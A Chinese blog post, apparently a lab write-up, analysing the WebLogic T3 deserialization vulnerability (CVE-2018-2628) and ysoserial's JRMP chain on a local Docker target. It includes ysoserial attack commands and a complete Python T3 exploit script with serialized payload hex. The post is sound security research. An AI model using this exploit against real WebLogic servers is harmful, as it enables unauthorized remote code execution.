从WebLogicT3反序列化学习Java安全
2020-09-07 10:47:01 Author: xz.aliyun.com(查看原文) 阅读量:589 收藏

0x01 漏洞复现

下载vulnhub环境,修改镜像内脚本,进行远程调试

首先利用docker-compose up -d,创建好对应镜像之后,使用同文件下的exp进行复现

docker只对外开放了默认的7001端口,这里的8055是后来开放用于调试的端口,后面会说。

先使用ysoserial搭建一个本地的JRMP服务,具体命令如下:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8000 CommonsCollections1 "touch /tmp/temp"

这里需要记住JRMP监听端口后面要用

随后在利用本地的exp.py打,注意访问ip问题,这里使用的是局域网地址:

接着另起一个shell,使用以下命令:

python exp.py 192.168.42.192 7001 ./ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.42.192 8000 JRMPClient

随后会将response回显出来,我们进入镜像内部,查看文件是否创建

docker exec -it [容器ID] /bin/bash

文件已经成功创建,说明已经成功复现了。

配置远程调试环境

配置本地debug环境

为了保持本地环境与docker环境一致,所以我们可以使用docker内部的jdk版本,并将weblogic内部的jar包全部脱下来,记下jdk镜像所在路径和jar所在路径,如下图:

知道这两个路径之后,将他们从docker内部拷贝出来:

docker cp [容器名称(标签)]:/root/jdk [拷贝的目标路径]
docker cp [容器名称(标签)]:/root/Oracle/Middleware/wlserver_10.3 [拷贝的目标路径]

然后将wlserver_10.3中的所有jar包筛选出来,作为idea的库:

cp `find ./wlserver_10.3/ -name "*.jar"` ./dep

虽然这个命令会告警,但能将所有jar包复制下来,这里是将他们全部收在了dep目录下。

配置weblogic Debug

找到该目录下的/root/Oracle/Middleware/user_projects/domains/base_domain/binstartDomainEnv.sh,添加如下两行代码:

debugFlag="true"
DEBUG_PORT="8055"

这里需要与下列sh脚本中的变量名保持一致,不一定使用上面两个变量名。

然后更改docker-compose.yml文件的内容,多开放一个8055端口,如下图:

然后利用下列命令进行容器重启:

这样我们之后就能够使用idea进行调试了。

配置IDEA

将我们复制出来的jdk作为启动环境

将我们复制出的对应包,作为库:

然后配置好远程调试:

然后启动如果你能看见这段话,说明已经可以远程调试了:

0x02 有关T3协议

T3抓取流量环境配置

首先来观察一下正常的T3协议请求,利用如下代码进行本地T3通信的搭建:

Hello.class:

package com.ebounce.cn;

import java.rmi.RemoteException;

public interface Hello extends java.rmi.Remote {
    String sayHello() throws RemoteException;
}

HelloImpl.class:

package com.ebounce.cn;

import java.rmi.RemoteException;

public class HelloImpl implements Hello {
    @Override
    public String sayHello() throws RemoteException{
        return "Hello From Server";
    }
}

Server.class:

package com.ebounce.cn;

import javax.naming.*;
import java.util.Hashtable;

public class Server {
    public final static String WebLogicFactory="weblogic.jndi.WLInitialContextFactory";
    private static Context getInitialContext()  throws NamingException {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, WebLogicFactory);
        env.put(Context.PROVIDER_URL,"t3://127.0.0.1:7001");
        return new InitialContext(env);
    }
    public static void main(String[] args) {
        try {
            Context ctx = getInitialContext();
            ctx.bind("HelloJNDI",new HelloImpl());
            System.out.println("JNDI Created");
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

Client.class:

package com.ebounce.cn;

import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public final static String WebLogicFactory = "weblogic.jndi.WLInitialContextFactory";
    private static InitialContext getInitialContext() throws NamingException{
        Hashtable<String,String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY,WebLogicFactory);
        env.put(Context.PROVIDER_URL,"t3://127.0.0.1:7001");
        return new InitialContext(env);
    }
    public static void main(String[] args)  {
        try {
            InitialContext ictx = getInitialContext();
            Hello HelloObj = (Hello) ictx.lookup("HelloJNDI");
            HelloObj.sayHello();
            System.out.println("Get Hello From Server");
        } catch (Exception e){
          System.out.println(e.getMessage());
        }
    }
}

pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.ebounce.cn</groupId>
    <artifactId>java_one</artifactId>
    <version>1.0-SNAPSHOT</version>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <configuration>
                    <archive>
                        <manifest>
                            <addClasspath>true</addClasspath>
                            <useUniqueVersions>false</useUniqueVersions>
                            <classpathPrefix>lib/</classpathPrefix>
                            <mainClass>com.ebounce.cn.Serverr</mainClass>
                        </manifest>
                    </archive>
                </configuration>
            </plugin>
        </plugins>
    </build>

</project>

将其打包成jar后,将其放置你创建域的lib目录下,然后在对应位置启动该类。

然后就能在这里看到我们的HelloJNDI对象了:

记得运行Client时,将wlserver/server/lib目录作为库,直接运行Client成功得到预期回显。

利用T3协议攻击原理

再次运行Chlient程序,抓取相应的流量包,我们通过追踪TCP流观察整体过程:

首段报文个人认为是在交换服务器的信息,可能并不准确甚至错误,欢迎各位师傅指正。

最后一段报文:

分析流量包,可以清晰的观察出T3协议通信的整体过程:

接着我们将字节流转储为HEX看看在16进制字符上有什么特征:

  • T3协议能够一次传输多个对象

  • T3协议会传递序列化的Java对象:

前四个字节00 00 06 d7T3数据包大小,而后面的部分6501ffffffffffffffff000000720000ea600000001900b4b9859d4da090b3b35edb6bbb4d30302d9491391cb342fe027973720078720178720278700000000c00000002000000000000000300000001007070707070700000000c00000002000000000000000300000001007006fe010000则为T3协议首包共有部分,随后紧接着就是跟的java序列化数据了。

整体来讲T3协议的示意图是这样的:

根据这个特征,在利用T3协议进行攻击时,只需要将客户端传输的数据其中一个对象,替换成为恶意对象,就能够实现攻击了,毕竟如果T3协议传输的数据是序列化数据,那么必定会在获得这些数据时进行反序列化,原理类似与于下图:

0x03 简单区别一下

我们知道Java安全之中,有相当多的概念,且概念之间还互有交叉,因此我们来区分一下这些概念:

最上层的概念

JDNI(Java Directory and Naming Interface),从英文名来看就知道JNDI实际上是个API,这个API的允许使用它的客户端,通过名称发现和查找数据,对于安全来讲,我们主要关注的是JNDI能够传递对象,这些对象存储在不同的服务中如RMI远程方法调用,CORBA公共对象请求代理体系结构LDAP轻型目录访问协议

而我们可以将JDNI理解成一个高度抽象的接口,能够接受不同服务的查询,统一利用JNDI内部,进行转换,具体对应哪个对象或者数据由JNDI下发给对应服务解决,我们只需要告诉他具体名称就行,如需要使用RMI时,传入字段为:rmi://exampleIP/exampleName的形式,告诉他我们需要找到RMI服务下的exampleName就行。

借用网上被传烂的图:

往下走就是几个我们常说的服务了:

RMI远程方法调用,即不需要对象在我本地,我能够远程调用一个我本地不存在的对象中的方法,我们举个不是很恰当的例子:

我们假设有两家公司(A,B),他们分别跑着不同的JAVA应用,A公司想要使用B公司正在跑的一个X类里的方法,但因为B公司的X类设计是商业机密,因此B公司不愿意X类的源码给A公司,这个时候就可以使用RMI解决这个问题了。

感觉更科学一点的过程如下图,总之RMI就是解决远程对象调用的问题:

那么RMI RCE又是怎么做到的呢?这里有两个tip:

  1. RMI传输依赖于反序列化
  2. RMI支持动态加载远程类。

第一条不用多说,第二条主要是考虑到,RMI服务端,可能没有RMI客户端请求的参数类,服务端会先从本地找,如果没有且双方配置条件允许,RMI服务端会接受RMI客户端传来的java.rmi.server.codebase中的url(http,https,ftp等)均可,尝试从服务端传来的url,去加载.class,反之亦然。

因此这里延伸出来两个思路

  1. 继承服务端给定方法的参数类,从中构造Java反序列化。
  2. 利用动态加载远程类的特性,迫使服务器加载远程恶意类。

0x04 漏洞分析

触发反序列化

Weblogic使用T3协议,而T3协议实际上相当于Weblogic自己实现的RMI,它和RMI有着类似的特点,他是基于序列化和反序列化的。而T3协议会对传输的序列化内容进行反序列化,所以最后能够实现远程恶意类的加载并RCE

编号CVE-2018-2628的漏洞,实际上是之前T3反序列化漏洞的升级版,当时修复只添加了RMI中的一个类到黑名单,那么只需要绕过这个黑名单即可。

定位问题类出现的jar包为wlthint3client.jaridea中打开jar,找到问题类weblogic.rjvm.InboundMsgAbbrev.class (后面和网上分析比对了一下,发现自己调的是没有补丁的版本...)

反序列化的终点:

这里会判断传入的内容是ascii码值,还是字节流,来判断用什么方式读取,由于ServerChannelInputStream这个类继承自ObjectInputStream,所以这里会直接调用ObjectInputStreamreadObject方法,继续跟发现函数体如下:

实际上调用的是,下面这个函数体,就是普普通通的readObject方法,从而实现反序列化

返回对应类的resolveClass如下:

而这里的super.resolveClassjdk1.6包中的内容,利用forName通过类名找到对应的类并返回对应类

我们可以动态调试一下观察这个过程,我们发现这里resolveClass函数得到的类名和之前抓到的流量包,顺序是一致的,如下图:

对应下来会发现其中出现的包名顺序是第一个包中的内容,这也说明了T3协议确实能够进行反序列化,然后是按照我们传入的包的顺序进行反序列化的,并且最后当第一个包反序列化完成之后,第二个包开始反序列化时,就开始反序列化一些和RMI有关的包了(为了防止gif太大,跳的比较快,请见谅)。这时候我们可以观察一下函数栈:

通过函数栈来分析weblogic T3协议反序列化过程,我们发现整体过程是weblogic.socket,从request中读取字节流传给weblogic.rjvmInboundMsgAbbrev中进行逐个字节的读取,并将其传给readObject函数进行反序列化,前文说了T3协议能够一次传递大量数据(对象),因此这里也会将传递的字节流逐一反序列化,而ysoserial中的CC1链涉及到的包,刚好weblogic里面也有从而造成了反序列漏洞。

分析ysoserial的JRMP模块

我们来看看POC的两条命令:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 "touch /tmp/hello"
python exp.py 192.168.42.167 7001 ./ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.42.167 7777 JRMPClient

这里进行了两步操作,一个是在本地启动了一个JRMPListener,同时又启动了一个JRMPClient服务去使用我们刚刚建立在7777端口的JRMP服务,

由于之前已经分析过CC1利用链了,这里不再赘述,我们来看看其他组件

ysoserial.payloads.JRMPClient分析

此处就是exp.py调用的payload了,我们注意到,在使用payload时,这里exp会输出调用的命令:

这里我们从ysoserial工具的使用上,,很容易知道其实这里调用的是ysoserial.payloads.JRMPListener,根据作者给出的利用链去分析为:

/*
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 */

主要源码如下:

这里看着和RMI的RCE非常类似,这里序列化的起点在RemoteObjectInvocationHandler中,该类不存在readObject方法,但继承自RemoteObject

RemoteObject类存在readObject方法如下:

此处的ref由于创建时设置好了为UnicastRef类,此处不为null,走else下去到

也就是到反序列化链条的第一步UnicastRef.readExternal(ObjectInput),该方法体如下:

继续跟:

中间省略掉刚刚重复的步骤,最后走入DGCClient$EndpointEntry.makeDirtyCall

最后会尝试根据我们给出的远程地址进行连接:

ysoserial.exploit.JRMPListener分析

在刚启动这个组件时会根据我们的命令行参数进行初始化操作:

这里利用makePayloadObject获得对应的反序列化类,

然后通过forName找到对应类:

到这里就已经准备好了对应payload

最后走到c.Run进行愉快地监听,等着进一步的输入:

如果存在输入,这里会读取我们的输入,并生成一个socket,最后来到doMessage函数,这里输入是哪里来的呢?是我们通过ysoserial.payloads.JRMPClient进行执行反序列化漏洞时,被攻击者请求的:

这里会设置好需要发送的Message信息,如目标Ip和端口,交互时的输入和输出数据以及之前准备好的payload

doCall处对输出内容进行了刷新,即在doCall时就将反序列化的脏数据,发送给被攻击者。

细心的同学会发现,这里发送给JRMPClient端的是一个异常:

整合两步操作的RCE

既然我们发送给JRMPClient端的是一个异常,那么JRMPClient中的

这里依然会走UnicastRef.invoke(var5)->var5.executeCall()的老路子,直接看到最后:

由此通过异常处理的分支触发了反序列化漏洞。

总结一下

首先我们需要简单了解一下JRMP的作用,这里用一张网图来代替

实际上JRMP类似于RMI之间通信所使用的协议,它比一般情况下使用的rmi://[ip]:[port]/[name]更底层一点。

然后我们来回顾一下这个漏洞利用的过程:

  1. 已知靶机存在T3反序列化(类似于RMI的反序列化)
  2. 攻击者在VPS建立JRMP服务器。
  3. 攻击者构造T3协议恶意反序列化数据,执行JRMPClient反序列化漏洞
  4. 靶机由于反序列化漏洞,自身作为JRMPClient去请求远程的JRMP服务器,即攻击者的VPS
  5. 攻击者的VPS返回异常信息,被攻击者处理异常。
  6. 处理异常处存在反序列化操作,造成反序列化RCE。

0x05 一点疑惑

梳理清楚整体过程之后,菜鸡我产生了一个疑惑,如果weblogic-T3能够直接进行反序列化,为什么不直接在T3反序列化时构造,空想不如试试,这次直接生成CC1链的反序列化数据,进行exp

exp中的调用命令部分注释掉,只留下读取的部分,然后其他多余的部分统统注释掉,修改后的exp.py如下:

from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload():
    bin_file = open('payload.out','rb').read()
    return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('handshake successful')


def build_t3_request_object(sock, port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception:
        pass
    return res


def exploit(dip, dport):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3_handshake(sock, server_addr)
    build_t3_request_object(sock, dport)
    payload = generate_payload()
    print("payload: " + payload)
    rs=send_payload_objdata(sock, payload)
    print('response: ' + rs)
    print('exploit completed!')


if __name__=="__main__":
    dip = sys.argv[1]
    dport = int(sys.argv[2])
    exploit(dip, dport)

不使用JRMP:


我们发现这个时候exp仍然执行成功了。那么问题来了,既然T3协议可以直接反序列化RCE,那么又出于什么原因需要使用JRMP迂回呢?
在询问大佬之后,发现有以下几个原因:

  1. JRMP反序列化的Payload更短,防止请求包数据过大,直接造成返回状态码413(Request Entity Too Large),无法执行反序列化,这个例子挺常见的,比如测试shiro反序列化漏洞时,就有可能因为Payload过长,无法正常反序列化。
    使用JRMP:

  2. 如果靶机出网可以像URLDNS一样,用作快速检测,JRMP通过上述分析,是利用报错进行反序列化的,既然报错那就存在回显的情况

  3. 可以绕过一些反序列化的黑名单,因为使用JRMP的链条时,只会反序列化JRMP相关的组件,不会加载常见恶意类,可以将其理解成为二次URL编码绕过一样,只不过这里变成了二次反序列化

参考链接:

ysoserial JRMP相关模块分析(二)- payloads/JRMPClient & exploit/JRMPListener

Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)

CVE-2018-2628 WebLogic反序列化漏洞分析

weblogic t3 协议利用与防御


文章来源: http://xz.aliyun.com/t/8241
如有侵权请联系:admin#unsafe.sh